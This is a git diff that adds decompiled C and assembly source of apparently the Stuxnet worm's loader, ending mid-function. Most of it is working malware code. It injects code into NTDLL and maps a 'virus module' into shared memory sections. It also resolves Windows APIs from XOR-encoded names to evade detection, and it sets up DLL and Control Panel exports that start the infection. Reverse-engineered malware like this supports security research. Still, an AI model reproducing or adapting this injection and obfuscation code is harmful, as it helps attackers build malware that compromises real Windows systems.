i->SizeOfBlock; i += i->SizeOfBlock/sizeof(IMAGE_BASE_RELOCATION)) + { + iDeltaSizeOfBlock = i->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION); + wTypeOffset = (WORD *)(i + 1); + + if(iDeltaSizeOfBlock % 2) + return STATUS_CONFLICTING_ADDRESSES; + + for(j = 0; j < iDeltaSizeOfBlock / 2; ++j) + { + if((UINT8)((*wTypeOffset / 0x100) / 0x10) != IMAGE_REL_BASED_ABSOLUTE) + { + if((UINT8)((*wTypeOffset / 0x100) / 0x10) != IMAGE_REL_BASED_HIGHLOW) + return STATUS_CONFLICTING_ADDRESSES; + + dwItemAddress = (DWORD *)((*wTypeOffset & 0x0FFF) + i->VirtualAddress + pImageBase); + *dwItemAddress += pImageBaseDelta; + } + + wTypeOffset++; + } + } + + return 0; +} + +// 100% (ASM) CODE MATCH +// another memcpy clone +__declspec(naked) void BLOCK4_memcpy(void *pDestination, const void *pSource, unsigned int iSize) +{ + __asm { + push ebp + mov ebp, esp + push esi + push edi + mov edi, pDestination + mov esi, pSource + mov ecx, iSize + rep movsb + pop edi + pop esi + pop ebp + retn + } +} + +// 99% (C) CODE MATCH +void BLOCK4_CopyDataIntoMapView(PVOID pVirusModule, PIMAGE_NT_HEADERS pImageNT, LPVOID pMapViewOfFile) +{ + INT32 dwNumberOfSections; // [sp+0h] [bp-Ch]@1 + PIMAGE_SECTION_HEADER pImageSections; // [sp+4h] [bp-8h]@1 + INT32 dwCurrentSection; // [sp+8h] [bp-4h]@1 + + dwNumberOfSections = pImageNT->FileHeader.NumberOfSections; + BLOCK4_memcpy(pMapViewOfFile, pVirusModule, pImageNT->OptionalHeader.SizeOfHeaders); + pImageSections = (PIMAGE_SECTION_HEADER)((DWORD)pImageNT + pImageNT->FileHeader.SizeOfOptionalHeader + sizeof(IMAGE_FILE_HEADER) + sizeof(DWORD)); + + // Copy section by section + for(dwCurrentSection = 0; dwCurrentSection < dwNumberOfSections; dwCurrentSection++, pImageSections++) + { + if(pImageSections->SizeOfRawData) // If the section VirtualSize is valid copy the entire section + BLOCK4_memcpy((void *)((DWORD)pMapViewOfFile + pImageSections->VirtualAddress), (const void *)((DWORD)pVirusModule + pImageSections->PointerToRawData), pImageSections->SizeOfRawData); + } +} + +// 99% (C) CODE MATCH +INT32 BLOCK4_InjectCodeIntoNTDLL(ASM_CODE_BLOCKS_HEADER *sASMCodeBlocksHeader, PHARDCODED_ADDRESSES pHardAddrs) +{ + HMODULE hHandleNTDLL; // [sp+8h] [bp-Ch]@1 + void *v4; // [sp+Ch] [bp-8h]@3 + DWORD dwOld; // [sp+10h] [bp-4h]@5 + + hHandleNTDLL = pHardAddrs->NTDLL_DLL; + if(!pHardAddrs->NTDLL_DLL) return 0; + + v4 = (void *)(hHandleNTDLL + 16); + if(*(_DWORD *)(hHandleNTDLL + 16) == 0xAB49103B) return 0; // Check if the code has been already injected + + if(pHardAddrs->VirtualProtect(hHandleNTDLL, 0x1000, PAGE_EXECUTE_WRITECOPY, &dwOld)) + { + BLOCK4_memcpy(v4, (const void *)sASMCodeBlocksHeader->ASMBlock0Segment.SegmentAddress, sASMCodeBlocksHeader->ASMBlock0Segment.SegmentSize); // inject the code + ((void (__thiscall *)(void *))sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress)(v4); // __thiscall ignored by compiler + pHardAddrs->FlushInstructionCache((HANDLE)-1, NULL, 0); + + return 0; + } + + return -4; +} + +// 97% (C) CODE MATCH +INT32 BLOCK4_LoadVirusModuleInfo(PHARDCODED_ADDRESSES pHardAddrs, GENERAL_INFO_BLOCK *sInfoBlock, PVOID pVirusModule, INT32 iVirusModuleSize) +{ + PIMAGE_NT_HEADERS pImageNT; // [sp+0h] [bp-1Ch]@3 + LARGE_INTEGER liMaximumSize; // [sp+4h] [bp-18h]@5 + NTSTATUS iStatus; // [sp+Ch] [bp-10h]@5 + LPVOID pMapViewOfFile; // [sp+10h] [bp-Ch]@7 + HANDLE hSectionHandle; // [sp+14h] [bp-8h]@5 + PIMAGE_DOS_HEADER pImageDOS; // [sp+18h] [bp-4h]@1 + + sInfoBlock->MappedAddress = 0; + pImageDOS = (PIMAGE_DOS_HEADER)pVirusModule; + + if(((PIMAGE_DOS_HEADER)pVirusModule)->e_magic != MZ_HEADER) return -2; + + pImageNT = (PIMAGE_NT_HEADERS)((DWORD)pVirusModule + pImageDOS->e_lfanew); + if(pImageNT->Signature != PE_HEADER) return -2; + + liMaximumSize.LowPart = pImageNT->OptionalHeader.SizeOfImage; // 0x00006000 + liMaximumSize.HighPart = 0; + + // ZwCreateSection(..., 0xF001F, 0, ..., 64, 0x8000000, 0) + iStatus = pHardAddrs->ZwCreateSection(&hSectionHandle, SECTION_ALL_ACCESS, 0, &liMaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, 0); + if(iStatus != STATUS_SUCCESS) return -11; + + pMapViewOfFile = pHardAddrs->MapViewOfFile(hSectionHandle, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0); + if(!pMapViewOfFile) + { + pHardAddrs->ZwClose(hSectionHandle); + return -10; + } + + sInfoBlock->MappedAddress = hSectionHandle; + BLOCK4_CopyDataIntoMapView(pVirusModule, pImageNT, pMapViewOfFile); + BLOCK4_CopyPEHeaderInfo(sInfoBlock, pImageNT, iVirusModuleSize); + + pHardAddrs->UnmapViewOfFile(pMapViewOfFile); + + return 0; +} + +// 100% (ASM) CODE MATCH +void BLOCK4_END(void) +{ + ; +} \ No newline at end of file diff --git a/CodeBlock.h b/CodeBlock.h new file mode 100644 index 0000000..cd65a4a --- /dev/null +++ b/CodeBlock.h @@ -0,0 +1,36 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ + +// MODIFIED BY mic.ric.tor + +#ifndef __CODEBLOCK_H__ +#define __CODEBLOCK_H__ + +#include "define.h" +#include "AssemblyBlock1.h" +#include "AssemblyBlock2.h" + +INT32 BLOCK4_InjectAndExecuteVirus(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader); +INT32 BLOCK4_ExecuteLibrary(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader); +void BLOCK4_CopyPEHeaderInfo(PGENERAL_INFO_BLOCK sInfoBlock, PIMAGE_NT_HEADERS pImageNT, INT32 iVirusModuleSize); +NTSTATUS BLOCK4_AlignAddresses(PIMAGE_DOS_HEADER *pImageDOS); +void BLOCK4_memcpy(void *pDestination, const void *pSource, unsigned int iSize); +void BLOCK4_CopyDataIntoMapView(PVOID pVirusModule, PIMAGE_NT_HEADERS pImageNT, LPVOID pMapViewOfFile); +INT32 BLOCK4_InjectCodeIntoNTDLL(ASM_CODE_BLOCKS_HEADER *sASMCodeBlocksHeader, PHARDCODED_ADDRESSES pHardAddrs); +INT32 BLOCK4_LoadVirusModuleInfo(PHARDCODED_ADDRESSES pHardAddrs, GENERAL_INFO_BLOCK *sInfoBlock, PVOID pVirusModule, INT32 iVirusModuleSize); +void BLOCK4_END(void); + +#endif \ No newline at end of file diff --git a/Encoding.c b/Encoding.c new file mode 100644 index 0000000..bd5b524 --- /dev/null +++ b/Encoding.c @@ -0,0 +1,79 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ +// MODIFIED BY mic.ric.tor + +#include "Encoding.h" + +// 100% (ASM) CODE MATCH +void __declspec(naked) UnusedFunction() +{ + __asm + { + push ecx + lea ecx, [esp+4] + sub ecx, eax + sbb eax, eax + not eax + and ecx, eax + mov eax, esp + and eax, 0FFFFF000h + +__ASM_REF_0: + cmp ecx, eax + jb short __ASM_REF_1 + mov eax, ecx + pop ecx + xchg eax, esp + mov eax, [eax] + mov [esp+0], eax + retn + +__ASM_REF_1: + sub eax, 1000h + test [eax], eax + jmp short __ASM_REF_0 + } +} + +// 100% (C) CODE MATCH +BOOL DecodeEncryptedModuleNames() +{ + DWORD dwOldProtect; // [sp+0h] [bp-4h]@1 + + if(!VirtualProtect((LPVOID)&g_hardAddrs, sizeof(HARDCODED_ADDRESSES), PAGE_EXECUTE_WRITECOPY, &dwOldProtect) && + !VirtualProtect((LPVOID)&g_hardAddrs, sizeof(HARDCODED_ADDRESSES), PAGE_EXECUTE_READWRITE, &dwOldProtect)) + return FALSE; + + *(HMODULE*)g_hardAddrs.NTDLL_DLL = GetModuleNTDLL(); + + *(UINT32*)g_hardAddrs.lstrcmpiW = (UINT32)GetFunctionFromKERNEL32(ENCODED_lstrcmpiW); + *(UINT32*)g_hardAddrs.VirtualQuery = (UINT32)GetFunctionFromKERNEL32(ENCODED_VirtualQuery); + *(UINT32*)g_hardAddrs.VirtualProtect = (UINT32)GetFunctionFromKERNEL32(ENCODED_VirtualProtect); + *(UINT32*)g_hardAddrs.GetProcAddress = (UINT32)GetFunctionFromKERNEL32(ENCODED_GetProcAddress); + *(UINT32*)g_hardAddrs.MapViewOfFile = (UINT32)GetFunctionFromKERNEL32(ENCODED_MapViewOfFile); + *(UINT32*)g_hardAddrs.UnmapViewOfFile = (UINT32)GetFunctionFromKERNEL32(ENCODED_UnmapViewOfFile); + *(UINT32*)g_hardAddrs.FlushInstructionCache = (UINT32)GetFunctionFromKERNEL32(ENCODED_FlushInstructionCache); + *(UINT32*)g_hardAddrs.LoadLibraryW = (UINT32)GetFunctionFromKERNEL32(ENCODED_LoadLibraryW); + *(UINT32*)g_hardAddrs.FreeLibrary = (UINT32)GetFunctionFromKERNEL32(ENCODED_FreeLibrary); + *(UINT32*)g_hardAddrs.ZwCreateSection = (UINT32)GetFunctionFromNTDLL(ENCODED_ZwCreateSection); + *(UINT32*)g_hardAddrs.ZwMapViewOfSection = (UINT32)GetFunctionFromNTDLL(ENCODED_ZwMapViewOfSection); + *(UINT32*)g_hardAddrs.CreateThread = (UINT32)GetFunctionFromKERNEL32(ENCODED_CreateThread); + *(UINT32*)g_hardAddrs.WaitForSingleObject = (UINT32)GetFunctionFromKERNEL32(ENCODED_WaitForSingleObject); + *(UINT32*)g_hardAddrs.GetExitCodeThread = (UINT32)GetFunctionFromKERNEL32(ENCODED_GetExitCodeThread); + *(UINT32*)g_hardAddrs.ZwClose = (UINT32)GetFunctionFromNTDLL(ENCODED_ZwClose); + + return TRUE; +} \ No newline at end of file diff --git a/Encoding.h b/Encoding.h new file mode 100644 index 0000000..b60df05 --- /dev/null +++ b/Encoding.h @@ -0,0 +1,30 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ +// MODIFIED BY mic.ric.tor + +#ifndef __ENCODING_H__ +#define __ENCODING_H__ + +#include "define.h" +#include "data.h" +#include "EncodingAlgorithms.h" +#include "EncodingUtils.h" +#include "CodeBlock.h" + +void UnusedFunction(); +BOOL DecodeEncryptedModuleNames(); + +#endif \ No newline at end of file diff --git a/EncodingAlgorithms.c b/EncodingAlgorithms.c new file mode 100644 index 0000000..1fab160 --- /dev/null +++ b/EncodingAlgorithms.c @@ -0,0 +1,71 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ + +#include "EncodingAlgorithms.h" + +void DecodeFunctionNameA(const char *pEncodedFunctionName, char *pDecodedFunctionName) +{ + if(!pEncodedFunctionName) + { + *pDecodedFunctionName = 0; + return; + } + + while( *pEncodedFunctionName != 0x12 ) + { + *pDecodedFunctionName = *pEncodedFunctionName ^ 0x12; + + pEncodedFunctionName += 2; + pDecodedFunctionName++; + } +} + +void DecodeModuleNameW(const WCHAR *pEncodedModuleName, WCHAR *pDecodedModuleName) +{ + if(!pEncodedModuleName) + { + *pDecodedModuleName = 0; + return; + } + + while( *pEncodedModuleName != 0xAE12 ) + { + *pDecodedModuleName = *pEncodedModuleName ^ 0xAE12; + + pEncodedModuleName++; pDecodedModuleName++; + } +} + +// 100% (C) CODE MATCH +HMODULE GetModuleNTDLL(void) +{ + WCHAR ModuleName[100]; // [sp+0h] [bp-C8h]@1 + + DecodeModuleNameW(ENCODED_NTDLL_DLL, ModuleName); + return GetModuleHandleW(ModuleName); +} + +// 100% (C) CODE MATCH +FARPROC GetFunctionFromModule(const WCHAR *pEncodedModuleName, const char *pEncodedFunctionName) +{ + WCHAR pDecodedModuleName[100]; // [sp+0h] [bp-12Ch]@1 + CHAR ProcName[100]; // [sp+C8h] [bp-64h]@1 + + DecodeModuleNameW(pEncodedModuleName, pDecodedModuleName); + DecodeFunctionNameA(pEncodedFunctionName, ProcName); + + return GetProcAddress(GetModuleHandleW(pDecodedModuleName), ProcName); +} diff --git a/EncodingAlgorithms.h b/EncodingAlgorithms.h new file mode 100644 index 0000000..e7acc8d --- /dev/null +++ b/EncodingAlgorithms.h @@ -0,0 +1,30 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ + +#ifndef __ENCODING_ALGORITHMS_H__ +#define __ENCODING_ALGORITHMS_H__ + +#include "define.h" +#include "data.h" + +void DecodeModuleNameA(const char *pEncodedFunctionName, char *pDecodedFunctionName); +void DecodeModuleNameW(const WCHAR *pEncodedModuleName, WCHAR *pDecodedModuleName); + +HMODULE GetModuleNTDLL(void); + +FARPROC GetFunctionFromModule(const WCHAR *pEncodedModuleName, const char *pEncodedFunctionName); + +#endif \ No newline at end of file diff --git a/EncodingUtils.c b/EncodingUtils.c new file mode 100644 index 0000000..45e04e4 --- /dev/null +++ b/EncodingUtils.c @@ -0,0 +1,52 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ +// MODIFIED BY mic.ric.tor + +#include "EncodingUtils.h" + +// 100% (ASM) CODE MATCH + +// Pretty straightforward, self-defined memcpy +__declspec(naked) void __memcpy(void *pDestination, const void *pSource, size_t iSize) +{ + + __asm { + push ebp + mov ebp, esp + push esi + push edi + mov edi, pDestination + mov esi, pSource + mov ecx, iSize + rep movsb + pop edi + pop esi + pop ebp + retn + } +} + +// 100% (C) CODE MATCH +FARPROC GetFunctionFromKERNEL32(const char *pEncodedFunctionName) +{ + return GetFunctionFromModule(ENCODED_KERNEL32_DLL, pEncodedFunctionName); +} + +// 100% (C) CODE MATCH +FARPROC GetFunctionFromNTDLL(const char *pEncodedFunctionName) +{ + return GetFunctionFromModule(ENCODED_NTDLL_DLL, pEncodedFunctionName); +} \ No newline at end of file diff --git a/EncodingUtils.h b/EncodingUtils.h new file mode 100644 index 0000000..9d4efa3 --- /dev/null +++ b/EncodingUtils.h @@ -0,0 +1,29 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ +// MODIFIED BY mic.ric.tor + +#ifndef __ENCODING_UTILS_H__ +#define __ENCODING_UTILS_H__ + +#include "data.h" +#include "EncodingAlgorithms.h" + +void __memcpy(void *pDestination, const void *pSource, size_t iSize); + +FARPROC GetFunctionFromKERNEL32(const char *pEncodedFunctionName); +FARPROC GetFunctionFromNTDLL(const char *pEncodedFunctionName); + +#endif \ No newline at end of file diff --git a/Main.c b/Main.c new file mode 100644 index 0000000..c8eec6e --- /dev/null +++ b/Main.c @@ -0,0 +1,75 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ +// MODIFIED BY mic.ric.tor + +#include "data.h" +#include "OS.h" + +// 100% (C) CODE MATCH +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) +{ + if(fdwReason && fdwReason == 1) hINSTANCE = hinstDLL; + return TRUE; +} + +// 100% (C) CODE MATCH +BOOL __stdcall DllUnregisterServerEx(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) +{ + if(fdwReason && fdwReason == 1) + { + hINSTANCE = hinstDLL; + CheckSystemVersion(TRUE); + } + + return 0; +} + +// 100% (C) CODE MATCH +HRESULT __stdcall DllCanUnloadNow(void) +{ + hINSTANCE = GetModuleHandleW(0); + CheckSystemVersion(TRUE); + ExitProcess(0); +} + +// 100% (C) CODE MATCH +HRESULT __stdcall DllGetClassObject(const IID *const rclsid, const IID *const riid, LPVOID *ppv) +{ + CheckSystemVersion(TRUE); +} + +// 100% (C) CODE MATCH +HRESULT __stdcall DllRegisterServerEx(void) +{ + CheckSystemVersion(TRUE); + return 1; +} + +// 100% (C) CODE MATCH +LONG APIENTRY CPlApplet(HWND hwndCPl, UINT uMsg, LPARAM lParam1, LPARAM lParam2) +{ + if(*(DWORD *)(hwndCPl + 2)) + DeleteFileA(*(LPCSTR *)(hwndCPl + 2)); + + CheckSystemVersion(TRUE); + return 1; +} + +// 100% (C) CODE MATCH +STDAPI APIENTRY DllGetClassObjectEx(int a1, int a2, int a3, int a4) +{ + CheckSystemVersion(FALSE); +} diff --git a/MemorySections.c b/MemorySections.c new file mode 100644 index 0000000..ceeae60 --- /dev/null +++ b/MemorySections.c @@ -0,0 +1,224 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ +// MODIFIED BY mic.ric.tor + +#include "MemorySections.h" + +// 95% (C) CODE MATCH +INT32 LoadVirusModuleSection(HANDLE hHandle, PGENERAL_INFO_BLOCK sInfoBlock, PVOID pVirusModule, INT32 pVirusModuleSize, INT32 iExecEntryNumber, PVOID pUnknownSegment, UINT32 pUnknownSegmentSize, PVOID *pOutSection) +{ + HANDLE hMapHandle; // [sp+4h] [bp-28h]@1 + PVOID pVirusImageBase; // [sp+8h] [bp-24h]@3 + PIMAGE_NT_HEADERS pImageNT; // [sp+Ch] [bp-20h]@6 + INT32 iSectionPointer; // [sp+10h] [bp-1Ch]@1 + PVOID pBaseAddr1; // [sp+14h] [bp-18h]@1 + PIMAGE_DOS_HEADER pImageDOS; // [sp+18h] [bp-14h]@3 + UINT32 iSectionsSize; // [sp+1Ch] [bp-10h]@1 + PVOID pBaseAddr2; // [sp+20h] [bp-Ch]@1 + PVIRUS_MODULE_BLOCKS_HEADER sVirusModuleBlocksHeader; // [sp+24h] [bp-8h]@3 + INT32 iOpenMapViewFailed; // [sp+28h] [bp-4h]@1 + + pBaseAddr1 = 0; + pBaseAddr2 = 0; + + iSectionPointer = 0; + iSectionsSize = sizeof(VIRUS_MODULE_BLOCKS_HEADER) + pUnknownSegmentSize + pVirusModuleSize; + + iOpenMapViewFailed = SharedMapViewOfSection(hHandle, iSectionsSize, &hMapHandle, &pBaseAddr1, &pBaseAddr2); + if(iOpenMapViewFailed) return iOpenMapViewFailed; + + sVirusModuleBlocksHeader = (PVIRUS_MODULE_BLOCKS_HEADER)pBaseAddr1; + pBaseAddr1 = (PVOID)((DWORD)pBaseAddr1 + sizeof(VIRUS_MODULE_BLOCKS_HEADER)); + iSectionPointer = sizeof(VIRUS_MODULE_BLOCKS_HEADER); + + CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sVirusModuleBlocksHeader->UnknownSegment, pUnknownSegment, pUnknownSegmentSize); + pVirusImageBase = pBaseAddr1; + + CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sVirusModuleBlocksHeader->VirusModuleSegment, pVirusModule, pVirusModuleSize); + pImageDOS = (PIMAGE_DOS_HEADER)pVirusImageBase; + + if((UINT32)pVirusModuleSize >= 0x1000 && + pImageDOS->e_magic == MZ_HEADER && + pImageDOS->e_lfanew + sizeof(IMAGE_OPTIONAL_HEADER) + sizeof(IMAGE_FILE_HEADER) + sizeof(DWORD) < (UINT32)pVirusModuleSize) // (UINT32 *)pImageDOS[15] + 248 -> Section ".text" + { + pImageNT = (PIMAGE_NT_HEADERS)((DWORD)pVirusImageBase + pImageDOS->e_lfanew); + if(pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].Size == 72) + pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].Size = 64; // Change Delay Import Directory Size + } + + __memcpy(&sVirusModuleBlocksHeader->InformationBlock, sInfoBlock, sizeof(GENERAL_INFO_BLOCK)); + + sVirusModuleBlocksHeader->LibraryExecuteEntryNumber = iExecEntryNumber; + sVirusModuleBlocksHeader->VirusModulePointer = 0; + + *pOutSection = pBaseAddr2; + + g_hardAddrs.UnmapViewOfFile(sVirusModuleBlocksHeader); // Unmap pBaseAddr1 -> same copy present in pBaseAddr2 + g_hardAddrs.ZwClose(hMapHandle); + + return 0; +} + +// 96% (C) CODE MATCH +INT32 LoadAndInjectVirus(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader, PVIRUS_MODULE_BLOCKS_HEADER sVirusModuleBlocksHeader, PGENERAL_INFO_BLOCK sInfoBlock) +{ + HMODULE pVirusModule; // [sp+0h] [bp-90h]@5 + HANDLE hMappedAddress; // [sp+4h] [bp-8Ch]@7 + INT32 iResult; // [sp+8h] [bp-88h]@1 + PHARDCODED_ADDRESSES pHardAddrs; // [sp+Ch] [bp-84h]@1 + GENERAL_INFO_BLOCK sInfoBlockCopy; // [sp+10h] [bp-80h]@1 + + __memcpy(&sInfoBlockCopy, sInfoBlock, sizeof(GENERAL_INFO_BLOCK)); // Copy the information + + sInfoBlockCopy.OriginalAddress ^= XADDR_KEY; // Get the original address of the variable sInfoBlock + sInfoBlockCopy.UnknownZero0 = 0; + + // Point to the first block of assembly in the section + pHardAddrs = (PHARDCODED_ADDRESSES)(sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(&g_hardAddrs, __ASM_BLOCK1_0)); + + iResult = BLOCK4_LoadVirusModuleInfo(pHardAddrs, &sInfoBlockCopy, (PVOID)sVirusModuleBlocksHeader->VirusModuleSegment.SegmentAddress, sVirusModuleBlocksHeader->VirusModuleSegment.SegmentSize); + if(iResult) return iResult; + + if(BLOCK4_InjectCodeIntoNTDLL(sASMCodeBlocksHeader, pHardAddrs)) return -4; + + /* Load library from the memory */ + pVirusModule = pHardAddrs->LoadLibraryW(sInfoBlockCopy.RandomLibraryName); + if(!pVirusModule) return -9; + + sVirusModuleBlocksHeader->VirusModulePointer = pVirusModule; + hMappedAddress = sInfoBlockCopy.MappedAddress; + + if(sInfoBlockCopy.MappedAddress) + { + sInfoBlockCopy.MappedAddress = 0; + pHardAddrs->ZwClose(hMappedAddress); + } + + return 0; +} + +// 100% (C) CODE MATCH +UINT32 GetCodeBlockSize(void) +{ + return _SIZE(BLOCK4_END, BLOCK4_InjectAndExecuteVirus); +} + +// 100% (C) CODE MATCH +UINT32 GetCodeBlock(void) +{ + return (UINT32)BLOCK4_InjectAndExecuteVirus; +} + +// 100% (C) CODE MATCH +UINT32 GetRelativeExecuteLibraryPointer(void) +{ + return _SIZE(BLOCK4_ExecuteLibrary, BLOCK4_InjectAndExecuteVirus); +} + +// 100% (C) CODE MATCH +UINT32 GetRelativeAlignAddressesPointer(void) +{ + return _SIZE(BLOCK4_AlignAddresses, BLOCK4_InjectAndExecuteVirus); +} + +// 85% (C) CODE MATCH -> NEED DEBUG +INT32 LoadCodeSection(HANDLE hHandle, PVOID pVirusModuleSection, PVOID *pCodeBlockPointer, PVOID *pAssemblyCodeBlocksSection) +{ + PVOID pCodeBlock; // eax@3 + HANDLE pSectionHandle; // [sp+8h] [bp-28h]@1 + INT32 iASMBlock1Pointer; // [sp+Ch] [bp-24h]@3 + DWORD *v9; // [sp+10h] [bp-20h]@3 + INT32 iSectionPointer; // [sp+14h] [bp-1Ch]@1 + PVOID pBaseAddr1; // [sp+18h] [bp-18h]@1 + UINT32 iSectionsSize; // [sp+1Ch] [bp-14h]@1 + PVOID pBaseAddr2; // [sp+20h] [bp-10h]@1 + PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader; // [sp+24h] [bp-Ch]@3 + UINT32 iCodeBlockSize; // [sp+28h] [bp-8h]@1 + INT32 iOpenMapViewFailed; // [sp+2Ch] [bp-4h]@1 + + pBaseAddr1 = 0; + pBaseAddr2 = 0; + + iCodeBlockSize = GetCodeBlockSize(); // [0xB3A] (2874) + iSectionsSize = sizeof(ASM_CODE_BLOCKS_HEADER) + _SIZE(__ASM_BLOCK1_0, __ASM_BLOCK0_0) + _SIZE(DecodeModuleNameA, __ASM_BLOCK1_0) + iCodeBlockSize; + + iSectionPointer = 0; + + iOpenMapViewFailed = SharedMapViewOfSection(hHandle, iSectionsSize, &pSectionHandle, &pBaseAddr1, &pBaseAddr2); + if(!iOpenMapViewFailed) return iOpenMapViewFailed; + + sASMCodeBlocksHeader = (PASM_CODE_BLOCKS_HEADER)pBaseAddr1; + pBaseAddr1 = (PVOID)((DWORD)pBaseAddr1 + sizeof(ASM_CODE_BLOCKS_HEADER)); + iSectionPointer = sizeof(ASM_CODE_BLOCKS_HEADER); + + CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sASMCodeBlocksHeader->ASMBlock1Segment, __ASM_BLOCK1_0, _SIZE(DecodeModuleNameA, __ASM_BLOCK1_0)); + iASMBlock1Pointer = iSectionPointer; + + CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sASMCodeBlocksHeader->ASMBlock0Segment, __ASM_BLOCK0_0, _SIZE(__ASM_BLOCK1_0, __ASM_BLOCK0_0)); + pCodeBlock = (PVOID)GetCodeBlock(); + + CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sASMCodeBlocksHeader->CodeBlockSegment, pCodeBlock, iCodeBlockSize); + + v9 = (DWORD *)((DWORD)sASMCodeBlocksHeader + iASMBlock1Pointer + _SIZE(__ASM_BLOCK0_1, __ASM_BLOCK0_0)); + *v9 = (DWORD)sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(__ASM_REF_3, __ASM_BLOCK1_0); + + // Put function address into the memory map + sASMCodeBlocksHeader->ExecuteLibrary = sASMCodeBlocksHeader->CodeBlockSegment.SegmentAddress + GetRelativeExecuteLibraryPointer(); + sASMCodeBlocksHeader->AlignAddresses = sASMCodeBlocksHeader->CodeBlockSegment.SegmentAddress + GetRelativeAlignAddressesPointer(); + sASMCodeBlocksHeader->VirusModuleSection = (DWORD)pVirusModuleSection; + + // Put the values in the pointers + *pCodeBlockPointer = (PVOID)sASMCodeBlocksHeader->CodeBlockSegment.SegmentAddress; + *pAssemblyCodeBlocksSection = pBaseAddr2; + + // Close and unmap the first section + g_hardAddrs.UnmapViewOfFile(sASMCodeBlocksHeader); + g_hardAddrs.ZwClose(pSectionHandle); + + return 0; +} + +// 98% (C) CODE MATCH +INT32 Setup(LPCWSTR 